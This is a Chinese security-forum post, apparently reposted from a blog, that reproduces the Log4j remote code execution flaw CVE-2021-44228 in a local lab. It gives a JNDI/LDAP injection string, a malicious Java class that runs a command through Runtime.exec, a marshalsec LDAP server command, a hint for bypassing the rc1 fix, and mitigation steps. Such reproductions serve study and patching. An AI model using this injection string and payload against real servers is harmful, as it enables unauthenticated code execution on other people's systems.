[编程代码] (环境搭建+复现)CVE-2021-44228 Apache Log4j 远程代码执行漏洞

5982 0
黑夜隐士 2021-12-13 08:07:09 | 显示全部楼层 |阅读模式

0x00 简介

ApacheLog4j2是一个开源的Java日志框架,被广泛地应用在中间件、开发框架与Web应用中。

0x01 漏洞概述

该漏洞是由于Apache Log4j2某些功能存在递归解析功能,未经身份验证的攻击者通过发送特定恶意数据包,可在目标服务器上执行任意代码。

0x02 影响范围

Apache Log4j 2.x <= 2.15.0-rc1

0x03环境搭建

1、创建一个新的maven项目,并导入Log4j的依赖包

  1. <dependency>
  2. <groupId>org.apache.logging.log4j</groupId>
  3. <artifactId>log4j-core</artifactId>
  4. <version>2.14.1</version>
  5. </dependency>
复制代码

0x04漏洞利用

1、使用POC测试

  1. import org.apache.logging.log4j.LogManager;
  2. import org.apache.logging.log4j.Logger;
  3. class LogTest {
  4. public static final Logger logger = LogManager.getLogger();
  5. public static void main(String[] args) {
  6. logger.error("${jndi:ldap://localhost:8888/Exploit}");
  7. }
  8. }
复制代码

2、编译一恶意类Exploit.class

首先新建exp.java,然后编译为class文件

  1. class Exploit {
  2. static {
  3. System.err.println("Pwned");
  4. try {
  5. String cmds = "calc";
  6. Runtime.getRuntime().exec(cmds);
  7. } catch ( Exception e ) {
  8. e.printStackTrace();
  9. }
  10. }
  11. }
复制代码

  1. <code>javac exp.java
复制代码

3、使用marshalsec-0.0.3-SNAPSHOT-all.jar本地开启一个LDAP服务

  1. <code>java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer
  2. "http://127.0.0.1:7777/#Exploit" 8888
复制代码

4、运行poc.java,即可访问恶意类并执行写在其中的"calc"命令

结合一些其它StrLookup适当变形,以及配合官方测试用例中脏数据`"?Type=A Type&Name=1100110&Char=!"`可绕过rc1,RC2版本对此异常进行了捕获。

https://github.com/apache/logging-log4j2/compare/log4j-2.15.0-rc1...log4j-2.15.0-rc2

0x05修复方式

目前,Apache官方已发布新版本完成漏洞修复,建议用户尽快进行自查,并及时升级至最新版本:

https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

建议同时采用如下临时措施进行漏洞防范:

1)添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true;

2)在应用classpath下添加log4j2.component.properties配置文件,文件内容为log4j2.formatMsgNoLookups=true;

3)JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;

4)部署使用第三方防火墙产品进行安全防护。


来源:https://blog.csdn.net/qq_40989258/article/details/121862363
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2026 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行